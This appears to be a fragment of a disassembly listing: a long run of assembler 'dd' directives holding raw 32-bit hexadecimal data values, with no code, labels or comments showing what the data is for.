		dd 5FC579D3h, 7E713EE3h, 4C18DC37h, 0DE54D6E1h,	0CF7D8608h
		dd 0C70A4E7Ch, 384350D7h, 1888036h, 8D5ECABCh, 5AD4CFh
		dd 0C3F0CA2h, 5DF96FD9h, 85194FE8h, 0A338B3AFh,	0CA7E11D8h
		dd 0A02F40h, 0BB6957C8h, 30EB0CB9h, 240050D9h, 895EB573h
		dd 0CE3AAEC9h, 8BAF29E1h, 0D7B67838h, 0B57D5B04h, 0CA3240BAh
		dd 0CEDE5F00h, 0B4631060h, 9231A085h, 3BD90FCFh, 0C191BA6Fh
		dd 0D4833CB9h, 662CE4F3h, 0D32744B0h, 1974906Eh, 48C0821Bh
		dd 0CB80D8Eh, 3BB0B658h, 4D6AC0ACh, 0E60278CEh,	0E528264h
		dd 84EBC0E8h, 3188215Ch, 9A8F40B5h, 904C8915h, 496C048h
		dd 90C21580h, 79CFAFB8h, 0B089499h, 583C194Fh, 593B0992h
		dd 401E606Ch, 42A26450h, 0FC1989C3h, 0CC885CEh,	719B6C39h
		dd 0B1842558h, 0E26037E4h, 0DE0E2E94h, 80B07CA8h, 0D0B9557Ch
		dd 889A850Ah, 2C1B5B65h, 60986690h, 2094D10Fh, 7598E1Ah
		dd 77C48394h, 887A338h,	43D40E26h, 0D67A8896h, 80882143h
		dd 200C8C54h, 0D52C405Dh, 234210BCh, 0CE50583Fh, 20579E22h
		dd 28D62214h, 0A058785Ch, 0F9DB81F0h, 5E188C7Dh, 0FC4E1809h
		dd 792D889Ah, 0F120A3AFh, 7B289EB7h, 0A1EE39A6h, 0C00B8115h
		dd 8578067h, 0F141BB64h, 2DDE02h, 5B2DD6Fh, 0EBA3EFF0h
		dd 15AC5E8Eh, 29172489h, 0EA4481B6h, 0D2985719h, 0D0A057B7h
		dd 0A54128E9h, 71EE690Ah, 28BCB053h, 0E8024003h, 68F172AFh
		dd 8C044675h, 22C24244h, 12DCA596h, 3008B5EAh, 7D443F78h
		dd 0D5704B74h, 0A7480DE8h, 4F044141h, 97C5179Bh, 64570C48h
		dd 1947329Fh, 1C08158Fh, 9847C43Dh, 0F5208248h,	875CA02Ch
		dd 29E98078h, 0A6841119h, 9185F40h, 3C782324h, 203C9C4Ah
		dd 0BE67F093h, 5127C1D0h, 0A29C6605h, 2EF85A03h, 4FCF0C6h
		dd 40ED4D8Ah, 55539B49h, 0C6E0C525h, 4E14C1AEh,	582028D3h
		dd 6E2819DFh, 0AC535D48h, 222820C7h, 0EDF2E343h, 7B4C5098h
		dd 0E54F2918h, 24CF7821h, 30C9E8Dh, 0AED4BE7h, 25D61818h
		dd 0C1800239h, 0ED2BE741h, 2718862Ah, 183991CFh, 51D5EB75h
		dd 3E793AFCh, 35F20E00h, 0B6DD4DC6h, 0E27805CBh, 0C2F6688Ah
		dd 0AC90E9C8h, 217C6D3Ch, 9171F088h, 7EA00280h,	0D441C76Fh
		dd 66E0805Bh, 657244C1h, 4E105C6Ah, 0B6193532h,	6D8AA240h
		dd 6F200490h, 7F74F67Bh, 0B63F8EDh, 82269D45h, 89C2F080h
		dd 0EF1880F8h, 0EE09E8BDh, 0F1CC0075h, 6F693EB4h, 0EA2B29ACh
		dd 0E0984C6Eh, 291944B8h, 11E0896Bh, 6A4018A8h,	0C9AB748h
		dd 0F5F66949h, 0A78824F0h, 8E8C961Ch, 751056EBh, 41240403h
		dd 3D107175h
		dd 0A93E121h, 0F010CCFDh, 6E3E301Dh, 0E0D18413h, 0BC46FEA3h
		dd 18047821h, 71F74E7Eh, 0B249FB3h, 0ACA6D876h,	0EBC0BE80h
		dd 18288A1Eh, 4865BDD6h, 0A34EE67Ah, 80964808h,	0A0D18E20h
		dd 1B099CDBh, 52D56717h, 0B06FA3FCh, 798DDEFh, 10E5BE28h
		dd 66404C71h, 4CF6AF88h, 0D12A20E3h, 0C8F87D90h, 4E80C910h
		dd 0C0F0B8DDh, 0DFF10171h, 4F264DF4h, 96C18BEEh, 24F4709Ah
		dd 8A745C9Fh, 80BCBFC6h, 99703DB8h, 0F5262025h,	1147E84Fh
		dd 3937F280h, 22DD066Eh, 0B05132C0h, 0AF12EDEAh, 2C08B570h
		dd 8FF19E4Dh, 80FFBF78h, 0A407217Ah, 152DDC54h,	127490EEh
		dd 44AF0198h, 0C4B83729h, 9EFCD071h, 0B0925496h, 4CEB1C46h
		dd 0C3888B59h, 0C7110044h, 3DF280AFh, 0C901E95h, 24D41553h
		dd 1225A832h, 7C60B07Ch, 2136699Fh, 52B46402h, 0D7798460h
		dd 9DEF0CA0h, 0D03DD52Ah, 0F067F8BEh, 7C6B5230h, 16002DFh
		dd 9EE271EFh, 1431ACE2h, 0B8386056h, 4B9F30A0h,	59F5F884h
		dd 0A122B830h, 39F16C00h, 6DD8A54Dh, 72940077h,	0ABE49F1Dh
		dd 2160D60Eh, 956C1A29h, 2EEB00F2h, 761127ACh, 491DDE7h
		dd 68107413h, 214ABC28h, 43D08D6Ch, 98B9146Bh, 640E2CC7h
		dd 0C0154E72h, 93562C7Dh, 241168h, 0FF99FE1Eh, 24273E4Ch
		dd 641C22B0h, 0BF75304Ah, 0DC4617C3h, 0BE88456Eh, 0C99821A0h
		dd 2AF07239h, 0DD210CE6h, 0A10E0849h, 93D6942h,	99000C64h
		dd 81FB105Dh, 0E6D8DCEEh, 6DCB07C4h, 41884EE5h,	0D053E0h
		dd 5AFC2E91h, 0B2D8569Ch, 0E8CE009Ch, 0D5A23C96h, 79F104DAh
		dd 88E929FAh, 6E005ED4h, 6CBF9204h, 0CBC647h, 2407BDA7h
		dd 945C56FAh, 509B4D00h, 0C2781558h, 8C7B4F74h,	6E3D44D8h
		dd 0FC2687DCh, 6C55B820h, 27A93C88h, 2C90736Ah,	0D909FEC9h
		dd 0D9DD67CDh, 0AB87094Ch, 7573B4D2h, 3C000099h, 0D5E8BE79h
		dd 1DCC001Ch, 0AEAF5517h, 270ED9FBh, 0CBC6E5E7h, 0F4E8A764h
		dd 7500CC2Ah, 36D5F8ABh, 1E697072h, 406C46E8h, 87CCBCE4h
		dd 1200BB2Dh, 0E778AA7Fh, 6C13996h, 0B40E99Dh, 730030F1h
		dd 0BB2779ACh, 5CFA26h,	0B47BAFC6h, 3C22A758h, 489CC100h
		dd 32211383h, 20DC6071h, 0C5B52F27h, 0C4207A53h, 0AD601E96h
		dd 0BB0332F7h, 3D36759Dh, 7C38A6A3h, 0C110603h,	212E5E72h
		dd 1AFD938h, 29567F1Eh,	6FFD3735h, 83A8D890h, 33F9ACh
		dd 783C8D31h, 50A4912Eh, 4E587760h, 3C9AB43Eh, 0A3987608h
		dd 0CDBD71A1h, 613EA3Bh, 1EBF4BB9h, 21B36009h, 0B6EAC5DDh
		dd 107C1914h, 4D186298h, 0EBD680F8h, 7CEF6D03h,	0AC840CBFh
		dd 0A420A036h, 7E41A96Fh, 339F3180h, 0F2EBBCh, 3EB791C1h
		dd 0CD453A5Bh, 4036F8C7h, 30AC31ECh, 0A8C92DFEh, 0C0043F89h
		dd 8786DEE2h, 92C20F1Fh, 4C6AFA80h, 173A8B2Ah, 0B80C26B7h
		dd 0E9C40B00h, 0C2D4A44Eh, 7A7607F9h, 0EAD07890h, 0D146167Eh
		dd 0E000BA22h, 0CF08EAC8h, 120057Dh, 445BBED4h,	9D2834A1h
		dd 0EF069199h, 112B5Dh,	0CF611547h, 79C20FB0h, 8FFA833h
		dd 6921003Dh, 33A5610Dh, 12002B91h, 7BB3FA96h, 6787F7DDh
		dd 73A3D982h, 9CC8A08Bh, 6518F464h, 7832058Fh, 0FE850A70h
		dd 5C68DF43h, 6F0EB646h, 0C01C8D4Ah, 0ABB2DBE8h, 5D447502h
		dd 9E250627h, 11BF0FC5h, 38F5DB00h, 99E24480h, 93C662Bh
		dd 0FB0221D3h, 0EA3F38EEh, 1FD4E17Eh, 99F29AE9h, 1A18F490h
		dd 0B0D46108h, 403EC437h, 6861126Eh, 905BE625h,	292201FAh
		dd 62468967h, 5F6820C7h, 1A0D7A00h, 0BC12766Bh,	3FFE0C56h
		dd 91D0B960h, 2D050211h, 0F8C0C888h, 43448338h,	0F1FE80FAh
		dd 7CDBB538h, 0A5261FA2h, 2A0020AAh, 9D29413Ah,	1108423h
		dd 9B3C7B85h, 912C3921h, 0F680C668h, 0EA448138h, 0FCD4448Ch
		dd 5E38EF01h, 6B0FF1DBh, 837F87ECh, 676E2A8h, 95333201h
		dd 0E721C6C5h, 12845DCCh, 489E8AABh, 5080A5ACh,	64788536h
		dd 1D10008Eh, 0C83B2FF1h, 8000BDF5h, 816A1E11h,	2322B14h
		dd 7BB02E30h, 3464A47Dh, 0CC791700h, 0DFD4165Eh, 68A1D0BCh
		dd 38CD1B8h, 0D5CB7DEEh, 84D8468Dh, 0FF1E92E6h,	54C70F74h
		dd 0BCCA7F43h, 2109371Dh, 84A4222Dh, 73F0E0DDh,	63447CF0h
		dd 0AAF81925h, 0BD01F1D6h, 7EE7A8FCh, 94508886h, 2B8450h
		dd 63E6B5B9h, 3AA77FC8h, 3BCA9100h, 34BD11C1h, 0D393022Fh
		dd 0CB9E2623h, 38FB6890h, 12448608h, 40D2649Ah,	0E038F401h
		dd 33BD0C93h, 2619C310h, 0C97E1307h, 3772BED7h,	56A4903Bh
		dd 0B3F60032h, 4688D3D1h, 3C495D6Fh, 653F44h, 2EC12370h
		dd 306097h, 1D82A783h, 0D2F1FD7Ah, 59A3BF00h, 79803C8Eh
		dd 0F0144C6Ah, 1F218807h, 0EF09013Fh, 90F9C82Dh, 1C81B916h
		dd 0EA293C04h, 81A73045h, 10BF0404h, 62778F11h,	0C9E0480Eh
		dd 23441468h, 0B82A2E26h, 2BC50200h, 92D894Bh, 7FD071BAh
		dd 48BEC882h, 0EDD29B20h, 20DF53C8h, 6447CC84h,	0D188208Eh
		dd 205B9AC0h, 3C3630C6h, 4E1DBB69h, 0C0CF19ECh,	0B0F00992h
		dd 11611624h, 8817B0D0h, 0E6A8142h, 0E0ECAF61h,	0B8032EEEh
		dd 0AD849FE5h, 0CA7901BEh, 7DB34554h, 586BCA89h, 10087962h
		dd 1B3C4837h, 288400F0h, 8273C207h, 9905603Eh, 838740B2h
		dd 0FA2A1CC0h, 0E4314CD5h, 28C3067Ch, 48CB27FDh, 30FC5F0h
		dd 43B77201h, 58FBE602h, 63113C28h, 0CAEC5092h,	1B81CBh
		dd 6F5126CCh, 0FE20C09Eh, 9DBAEC5Eh, 448E7400h,	89E97210h
		dd 0B0DB00AEh, 0F4C7A02Dh, 0FE07F7BFh, 8ADE75ACh, 335346B0h
		dd 0A3D00068h, 3CBF636h, 0BD1499FFh, 34442A28h,	0B081518Dh
		dd 31A42F23h, 93500680h, 26098075h, 7CF190Ah, 47C3B034h
		dd 9C18048Dh, 1D3D0FAh,	8A5F40EDh, 0FFDDF000h, 714F030Eh
		dd 8C8F4527h, 0F66F9421h, 0F5264030h, 5985C4FBh, 9D408C90h
		dd 0C3F783ADh, 1814E31Ch, 80C40D10h, 0DF4BE929h, 63EB03A0h
		dd 4F991A46h, 0F5F674A1h, 212982B3h, 812DC329h,	0B4AB3EF0h
		dd 0D1B084F2h, 8218F640h, 6CB94A36h, 505F2000h,	3981E046h
		dd 0A00005B2h, 0FE95E6E8h, 0B913DFA3h, 0EE9D6h,	0B7E38FF8h
		dd 0C88A700Ah, 87A52706h, 58BB0708h, 0C0C524B3h, 92A42860h
		dd 86187A62h, 0DD48C85Dh, 0BCFE5024h, 0DCC40F10h, 0A1262772h
		dd 860CF8B9h, 28B86673h, 0B0FF44B3h, 0BAFC2284h, 0AA115F42h
		dd 749C2201h, 0AC46000Fh, 48E33FA6h, 8207A043h,	1D05E2E7h
		dd 0B86A7C51h, 3C4CC2D4h, 120075B4h, 0B01AD851h, 0B3003EEEh
		dd 4EA38749h, 44E1E4h, 1C170FD0h, 85A9AF09h, 0A6F8CF00h
		dd 0B8746505h, 0FD640E0Ah, 3B2E6F54h, 7D1B1AE1h, 9141F4BCh
		dd 111C0831h, 2980D496h, 6D5DD07h, 0D700CA03h, 82E59A86h
		dd 7D1AA5h, 622AA03Ch, 0CD37A6EFh, 0D5AD2E00h, 297C4FF8h
		dd 977D40h, 0A1059D4Dh,	2BC0FAB3h, 0C604B77Dh, 62968307h
		dd 0C898F883h, 6038A91Dh, 53871875h, 0A576A673h, 0AD851900h
		dd 3F9160CBh, 0AE630043h, 0C9230132h, 0B039428Fh, 7C83E38h
		dd 0DAEAE176h, 3B1B51C0h, 0F62B00BDh, 8F93565Bh, 860E5D82h
		dd 4087259Ch, 5CBF1CA0h, 756E00A1h, 0F9A87B4Fh,	0F53CE813h
		dd 378D8FFDh, 0F778C079h, 0B45C84h, 0E253A198h,	9AD3B7C8h
		dd 0EA006C9Ah, 8244AE43h, 0E14BA6h, 7FEB081Fh, 1A846DBEh
		dd 20D25800h, 1CB49DB6h, 0B8F4F1CAh, 0F44CA82Ch, 2AF800EFh
		dd 0ACDD4990h, 92175C77h, 40D5AC2h, 1BE460E7h, 0ACCCA810h
		dd 0F3060034h, 8D4FB938h
		dd 23F549Dh, 84D88011h,	8063887Dh, 9C100A2h, 945DCD31h
		dd 67020C2Ah, 13975AB9h, 0F9D8685Fh, 5C920310h,	0DDC5F561h
		dd 86089B90h, 811CF200h, 0FEA3892Ah, 0F0C78ADh,	0BDBA788h
		dd 0F80307E3h, 8C5B73A8h, 7DED4200h, 7C6F55AEh,	0B3C00054h
		dd 0EBCC568Eh, 96000482h, 641A91A4h, 18E55160h,	0C8B06FB4h
		dd 9800EB62h, 906C85A7h, 0B55DE6h, 134ED15Eh, 1A573D63h
		dd 1500F0ECh, 3F259BA2h, 0D83632h, 0DDC6ACC1h, 0A93D2DCEh
		dd 0D010E78h, 84FCA72Bh, 79C4F622h, 54DB4825h, 48BD2103h
		dd 0B8002898h, 9612F327h, 11154Fh, 3C19AB16h, 0AE542CBh
		dd 5B98D4F9h, 0FBAE8E1Eh, 0E818F4C0h, 38F6D7Bh,	8A5DCABEh
		dd 46E6DF98h, 3BA6CF1Fh, 60DA5989h, 0C02A9Ch, 22C2C862h
		dd 845F64FFh, 1DE29E4Ch, 984038EAh, 0DD39D44Eh,	59D03C30h
		dd 0BC6C2E00h, 230ACC36h, 0A31C64F4h, 0FE016A87h, 18F3EC60h
		dd 2CC3E420h, 0D999BDh,	37B0E668h, 0C8F534F5h, 0AD04C0D7h
		dd 9F1045BBh, 20C3D890h, 377780E4h, 0D88E214h, 43A000D0h
		dd 0D282F9DFh, 6C8F0198h, 51F2AB77h, 4097E91Ch,	0EF085E98h
		dd 85943600h, 13CC3B18h, 194900E9h, 879D0D95h, 5000DDDCh
		dd 90FBD320h, 0BCA41BEh, 62309F2Dh, 578ACC00h, 83807734h
		dd 0D28C1D20h, 6F28401Bh, 0EC7E4B9h, 624A5800h,	0FDAEF2A8h
		dd 91370F44h, 7C0076F9h, 1A8FD895h, 293F3400h, 0C4A4CCB3h
		dd 6C27004Eh, 0AFCB5446h, 0E77C11EBh, 24006090h, 84CE2049h
		dd 789B3776h, 63C11FC7h, 0E644414Dh, 2470C9B9h,	0CC12EA94h
		dd 840773A6h, 7C604166h, 0EED3605h, 0BCA0BDF1h,	9FCEB102h
		dd 0C196E881h, 697834DDh, 4E00504h, 11819B1Eh, 1880870Ch
		dd 0D3020159h, 2200DBD0h, 0F07F376Ch, 0D7E478h,	341687EAh
		dd 0A3844760h, 2D0E5200h, 54A4F6FCh, 4D6B28FFh,	668E00D8h
		dd 7574F1D2h, 0DF002AADh, 0A5CDB63Dh, 20B4DC3h,	4A314C9Fh
		dd 80CBF4F3h, 7BCD2390h, 59005FFAh, 0D4F55315h,	0CC243Fh
		dd 0DA2A0A97h, 37922DF9h, 39BE194Ch, 28C4006Dh,	0E2A5131Ch
		dd 0EB4BF2h, 30383B1Ch,	9B00D3BAh, 0FC7157CDh, 0FF66Ch
		dd 0A9910663h, 0EF2CA1C6h, 2009EEAh, 643AF0AAh,	2ED88E48h
		dd 19E0CBh, 0CAC27C30h,	6C13FE53h, 0A2006942h, 9D589493h
		dd 985A5478h, 51F3004Bh, 6DB6386Bh, 0C33BB91Fh,	8822001Eh
		dd 5D4F4E24h, 2D3B07C7h, 0F1AA2180h, 0D78265E2h, 231F71C0h
		dd 1EC96B00h, 0DDBDF5EEh, 0D47E0069h, 0C8CE68FBh, 67260120h
		dd 8F00F461h, 33B288A2h, 99B31F4Bh, 1D814EB8h, 308DDAA0h
		dd 0CE023910h, 26BA2ECBh, 0F0106390h, 794FE365h, 0BD321879h
		dd 60941922h, 7A00A871h, 54CF8923h, 3C0EC1Eh, 52F3B8E9h
		dd 9F98D862h, 0CA01E1EFh, 1B50C6A2h, 0BC20B954h, 0E5F30219h
		dd 0B8C764D8h, 0FE32C880h, 1801CCF1h, 7C696F0Ah, 2299A6h
		dd 2D3AEB00h, 250C5D17h, 0AE12567Fh, 14A057AAh,	6CA01734h
		dd 8FA0073Bh, 307247C2h, 0D9FE9F88h, 0AD1FC100h, 4C1C13EBh
		dd 49DA00A0h, 6921550Ah, 0BC01E0C7h, 72A44EEFh,	0BED91440h
		dd 3EDBFD4h, 73F57B82h,	68B821B7h, 4A02543Ch, 79F14638h
		dd 7854403Eh, 3BC0050h,	0DD4BA919h, 971765A8h, 0E4405A82h
		dd 47E240AAh, 7FA30042h, 1F03DFE4h, 60BA7E84h, 54CE1900h
		dd 50B15DBAh, 0AE1800DAh, 4CB63BECh, 4F16A28Ah,	0A04023E5h
		dd 746CE07Dh, 3A80981Ah, 2EA23D43h, 7BB45200h, 0A176AB64h
		dd 0D6052403h, 0E0F2C44h, 6A0E796h, 0F2EE62C8h,	0C5E0A750h
		dd 0D693910Ah, 2300C8D0h, 6BCD67FBh, 0E3A21C6Eh, 0C08ED2DDh
		dd 4E3BCC24h, 1900CAF6h, 0A4858860h, 0D1660ED8h, 3A0DF848h
		dd 47319186h, 0F993A756h, 0E667020h, 0B376D679h, 0AF233501h
		dd 1E202CEh, 8E144080h,	0EC92661Eh, 1CB34C2Ch, 0B6CCBB84h
		dd 1A604C89h, 9CB40011h, 1E3491D6h, 0BB001851h,	3E9BCCA3h
		dd 24204828h, 9CCABC2h,	94802E44h, 0AEBAB4CBh, 0DFC5000h
		dd 74795727h, 9E61C0A2h, 883E813Fh, 0CF00AEF6h,	408FD1C1h
		dd 0E27760Fh, 7E99D244h, 0EEF68582h, 3E300472h,	0C2F7308Dh
		dd 0D7B000D1h, 9CE4CAC1h, 7000530Dh, 1CF673B2h,	26BC5FA8h
		dd 0EF64512h, 0D5803C6Dh, 0BBF08584h, 1F921E07h, 0ED907463h
		dd 606E9065h, 99C27901h, 0C107BFAAh, 1F118279h,	0B0ED4B40h
		dd 4AA70F5Fh, 75A37DE1h, 3BF887D0h, 2F12C8C7h, 41019D15h
		dd 2C391F16h, 26010038h, 0A8D3C2F0h, 867C407Fh,	0B80060A3h
		dd 0D77D209Dh, 6F2DDFh,	2A7BB302h, 13462980h, 2451DC4Eh
		dd 6186B804h, 7F5E89D8h, 8F1880C0h, 2D8AE762h, 0AD8900A4h
		dd 0C906BB24h, 0A300D071h, 9BF4095Eh, 64B99074h, 217529E9h
		dd 0F51173ECh, 0C6800F3h, 0FFE6005Ch, 9C83F96Fh, 220097D0h
		dd 0BC32363Ch, 7CE9AD5h, 0CA7E1B58h, 661C80D6h,	0BA037438h
		dd 540CA004h, 0EEA8A89Dh, 297F09F7h, 0D4804540h, 7077B7B1h
		dd 8660200h, 59C91AE8h,	0FDE2479h, 487E0458h, 65708356h
		dd 40A71D98h, 26CC5E00h, 1EF7D8D4h, 0E4710501h,	42B5565Dh
		dd 264A7F8Ch, 0D8AE48E8h, 0E2E1CA13h, 58833800h, 1D7A24h
		dd 0FCD69E8Fh, 56D55E0Eh, 28DF5Ch, 24FB9A1Ch, 454026Ch
		dd 0D70A2652h, 0E804C059h, 1F04D3B4h, 0FA9C81F7h, 0BBE73CD7h
		dd 0D52DE16Fh, 5AC5A506h, 71A7070h, 40B5BC7Dh, 772020EAh
		dd 0FC006E9Ch, 1F1A976h, 1774E59Bh, 0D68451Ch, 0C480DDA9h
		dd 0D7064B99h, 7971554h, 16400050h, 0E156E013h,	6D02779Ch
		dd 43F332B5h, 800065ECh, 0EEBDE00Fh, 8854184Dh,	0EB007D9Ch
		dd 0C12D6FD8h, 0B8A7C37Fh, 440B00E3h, 298E37Bh,	817909E1h
		dd 80E6613Ch, 41C7A6FCh, 32EF53h, 0DB95AD0Ah, 0F76D178Ch
		dd 0B60BF300h, 0F1652E93h, 8A72009Ah, 2C7DEA83h, 2400ED98h
		dd 23D43510h, 0E4BDB116h, 73E90442h, 802BAE74h,	0AFB234F2h
		dd 3767E00h, 69BE3670h,	0C6F409FDh, 0CA05282h, 0C96445BBh
		dd 0DBD72900h, 72B260FAh, 0EC4E541Dh, 0C88405ACh, 802E30A5h
		dd 673C3614h, 11397100h, 1A4F232Ah, 59CE0A32h, 9E01487h
		dd 700E0438h, 500E9E67h, 0A6C85317h, 94A97709h,	8688A0C7h
		dd 7923BE64h, 0C15B2E1Fh, 5FFA0078h, 0F9948E5Ah, 30F2F400h
		dd 2CD53996h, 8AF0FEh, 28925FC8h, 0C12BC766h, 0C612FF73h
		dd 0C3595Bh, 2780021Dh,	752FFE21h, 7B035050h, 60B23FE7h
		dd 0B0B0FC1Fh, 0FC67E6A2h, 560E27DAh, 4A517C02h, 0EFF6F0A2h
		dd 822FE680h, 84A1FEECh, 80D4E9F5h, 0C8FFA928h,	8BF30Bh
		dd 0A08263CAh, 0CC55DF1Dh, 0E6965B07h, 7DC0CB5Dh, 57AFCh
		dd 0B3BC11F9h, 0A631673Eh, 46207E00h, 0E4C7D7D0h, 0BF530043h
		dd 48592FB2h, 1339C264h, 804FBED8h, 0AF5F374Ah,	0F934526h
		dd 228F85A3h, 0BC5400D7h, 0E8DB5A8Bh, 2035010Ah, 0DA80AC1Ch
		dd 7278130Fh, 14AF0073h, 0B44ED410h, 0E8003AAEh, 849E484Dh
		dd 3C818DE9h, 0DE00A980h, 7BE70C1Ch, 7F1372BAh,	3CC05415h
		dd 289D10ADh, 0AC1E44h,	0CF4A6D73h, 0ED703930h,	0A22BD81Ch
		dd 7F2D7440h, 0F0132DDh, 27CA1CDh, 30E7AEA7h, 3A6319D3h
		dd 0A8467201h, 1F6D49B9h, 22F5BCCh, 0B002910Ah,	24C0DDEBh
		dd 7D00A96Bh, 3D22274h,	278DC8h, 9FA8EF04h, 97954610h
		dd 0AE74000h, 0A6F225DBh, 0B52C00C5h, 1AAC2FD9h, 41012610h
		dd 0B3EA0EBFh, 470BDBAh, 7C8C3AB2h, 8B16EC00h, 0D4908121h
		dd 5242602h, 40567169h
		dd 0F5BCE26Ch, 0CC27E4h, 0C5C47D78h, 0E8A20A96h, 3D6F3109h
		dd 0A1DCC111h, 3064E311h, 0E102D2BCh, 0A56FF426h, 0AD94805Ch
		dd 51B467Bh, 0C356B0F6h, 19A200EDh, 224E5E43h, 66BDEE09h
		dd 0D24400DBh, 0FD6D350h, 14D519A4h, 82A1803Eh,	0D937AA1Dh
		dd 88013890h, 0F1F67454h, 0E9C02531h, 7590439h,	808BFCD2h
		dd 0D646A58h, 7C9F5B17h, 0C61C4101h, 0D4204A80h, 998102A9h
		dd 2E8BDC92h, 58875C62h, 3BFDE18Ah, 0FAC140F0h,	740050A3h
		dd 0A5A4E943h, 62D9C5h,	0B6B9C110h, 2548F6B2h, 44A80250h
		dd 81EA0B39h, 4A319960h, 9064BB2Dh, 0BA890061h,	0CC7CE9AAh
		dd 0F10CADFEh, 38FA2A43h, 0D1D200A8h, 49DD8BE4h, 0A544ED69h
		dd 40E49839h, 43FA5C2Ch, 0BD29353Fh, 559C8171h,	610A0803h
		dd 6914834h, 4EFFAD69h,	6B00E045h, 19555B43h, 5059CAFBh
		dd 78D062h, 3AEF7901h, 896965B7h, 5B8D371Dh, 76E1F40h
		dd 3552A25h, 0B40B4C1h,	0F6982E01h, 4E00F5C2h, 1B15273Ch
		dd 0BADD6858h, 409B4E00h, 0B72D3B58h, 0CC2C9CD0h, 0F087A856h
		dd 8D506709h, 78FE494Eh, 9A512CA2h, 6B3881C4h, 38D18741h
		dd 0B32B0220h, 0C0480C5Dh, 4F3EDCCh, 0C34E3BF4h, 9368A08Eh
		dd 231A3984h, 5C000A4Ch, 8F8EB00Dh, 2BB06B9Dh, 9F583560h
		dd 36F3AFh, 1A4001C2h, 46C9FD05h, 1B274D12h, 9893EC00h
		dd 8FB4DFh, 0EDC1FEE2h,	76F27ECDh, 0A13015F0h, 8649F080h
		dd 23644496h, 0A318511Dh, 3FB5B3C0h, 3541459h, 0EE7AF7DEh
		dd 89B39178h, 85C1D7D0h, 0D8921A00h, 762F7C21h,	0C8E313C0h
		dd 0AA68400Fh, 84E63BB3h, 0C475FBA1h, 9B5F7C7Bh, 0B299DC42h
		dd 5C9C68D0h, 0BD2E0421h, 0C7ADE365h, 0B9305058h, 0B100E769h
		dd 376CEF33h, 0F173AFh,	74F72ABBh, 0F679A93Fh, 5C21C138h
		dd 859D0163h, 611F9002h, 6C5C1C29h, 0FC4DD06h, 0EF1F109Eh
		dd 9C05C6C2h, 1400361Fh, 0FCA2A4AAh, 0F9DF1833h, 2FEF08FEh
		dd 0B3035A00h, 0A23C797Bh, 58C0799h, 8E85BE3Bh,	5871DAC0h
		dd 0A825CFE7h, 264C25A7h, 73E32C3h, 0F1142B30h,	28691C30h
		dd 2FF0861Dh, 95030828h, 1681A727h, 504B9A29h, 808990F0h
		dd 0A2371E28h, 0E9F0EA54h, 5E03AA88h, 749BEEC8h, 0FB6F9407h
		dd 100F8E7h, 385DD239h,	8252E14h, 6B418C12h, 9843C1Dh
		dd 5C616Bh, 31EA4A72h, 0E66E236h, 235972FEh, 82D278A0h
		dd 0C10FE155h, 0A0BB4461h, 0B10DECC6h, 0DF4E0063h, 0FC285201h
		dd 0E800C362h, 3A64650Bh, 0D32139D5h, 73590030h, 1B45CBA7h
		dd 3594D0F9h, 4F80AC00h, 75EDD8F4h, 83E600F8h, 6FDAF2A1h
		dd 78005B9Ah, 923A1445h, 189D6CDh, 412AFAA7h, 0D89A8221h
		dd 0B40052ECh, 5AEFE9F2h, 53CFCEh, 84E8F592h, 6E878D90h
		dd 94442000h, 0AC8ADCBDh, 512604FAh, 0C090920Eh, 68F5AB9h
		dd 5B01DA00h, 755DF0ECh, 0CBFF007Eh, 0C76C1AD7h, 14962823h
		dd 0BE84BE5Ch, 0C3EF0453h, 26480A86h, 2F7DDD10h, 0CFDCC002h
		dd 0C6872401h, 8B11D47Ch, 0E161159h, 7614C828h,	877896Fh
		dd 0B40F44DEh, 0CB162284h, 69116342h, 10A02111h, 424F8890h
		dd 8C2415D2h, 12D0AF21h, 177D103Bh, 35087889h, 10DED445h
		dd 64891E2Ah, 12DBE909h, 23571013h, 28575089h, 58FF88C8h
		dd 847D914Fh, 50DEFE22h, 442914EBh, 22842826h, 0D742E1E7h
		dd 22294211h, 3A874B14h, 4F238800h, 0D64FCF00h,	0F03A56Bh
		dd 86E19140h, 0BE0AF929h, 6A00B87Dh, 41C731C1h,	0BD0199EBh
		dd 8F479E8Ch, 6BC835BEh, 49FD3C2Bh, 0C045C21Fh,	88501D7Ch
		dd 2427994Ch, 0A4C07F7h, 0BCE81A80h, 9DE0987h, 0EF8FB1D4h
		dd 0DF840B01h, 0E650803Eh, 4BDC1D6Fh, 6EF6803Fh, 0A620CC71h
		dd 0C1D32295h, 13447806h, 284B11h, 94F276F8h, 4C516F73h
		dd 0D8886017h, 90D7E900h, 0D1BF33h, 3860B35h, 0A1502416h
		dd 5BD82A00h, 4621E18h,	9EFC006Dh, 217EE987h, 97F429ADh
		dd 0E59A8A0Fh, 517F40D7h, 3CA25C50h, 7304AC8Eh,	0E02B3AC3h
		dd 110BFEACh, 85971E25h, 8500A361h, 0E0E580A2h,	991C0006h
		dd 5F6B799Fh, 761BA6DBh, 0EF38AAADh, 3BBB477Fh,	0CD7FACE0h
		dd 9C5000CEh, 0E4E7AD38h, 79001D15h, 3A97400Ah,	0B3E87Eh
		dd 18C89DF3h, 5B13CCAFh, 73AEE000h, 802C7248h, 32ED0EDEh
		dd 30AF0176h, 0DCBE0B20h, 0F507A54Ch, 2F393584h, 196B8660h
		dd 265781Eh, 0C2935C05h, 91805F28h, 638E9BD5h, 0F337F90Eh
		dd 5658A0FFh, 3A648B6Eh, 92A63E72h, 881B0024h, 0EBB46B23h
		dd 0BC07C02Ah, 0B2F0A600h, 168A40F9h, 0CEDC3B96h, 2E8F84DCh
		dd 0CBB22880h, 4B27C1A7h, 0BEE48065h, 0BCDE03h,	0A9EBAFD6h
		dd 91103C7Eh, 0AC631B00h, 0E9FDB6F5h, 15200007h, 6A60495Ch
		dd 0C1177B13h, 0CC76C2h, 455C0016h, 41D4C567h, 0CF097FBFh
		dd 13A1D46h, 5EB02730h,	803C0BDCh, 587B8C37h, 103BFD30h
		dd 0BAE32A6h, 110918F6h, 0C080E485h, 0DA5023BBh, 0DFD65405h
		dd 74924186h, 4F7879B0h, 0FA7DA5C0h, 0D2040ABBh, 0DABC9859h
		dd 534F3881h, 19CCBF8h,	6D79AEE1h, 285F0C61h, 739B00D8h
		dd 0F2C95CDFh, 660900ACh, 0AD84A603h, 7F075F5Bh, 6D06FB2h
		dd 15A101B0h, 7E110058h, 1909DDE2h, 761E9C96h, 5500525Eh
		dd 0C50518D9h, 2DF60091h, 70E4F207h, 2B00857Ch,	232F630Bh
		dd 0E543E9FEh, 2500B43Ch, 0CB751D4Ch, 620E50BDh, 0ACDFC4D6h
		dd 0FEE844h, 9657C22Fh,	33F55F92h, 9460F47Ah, 0BE6C2EE1h
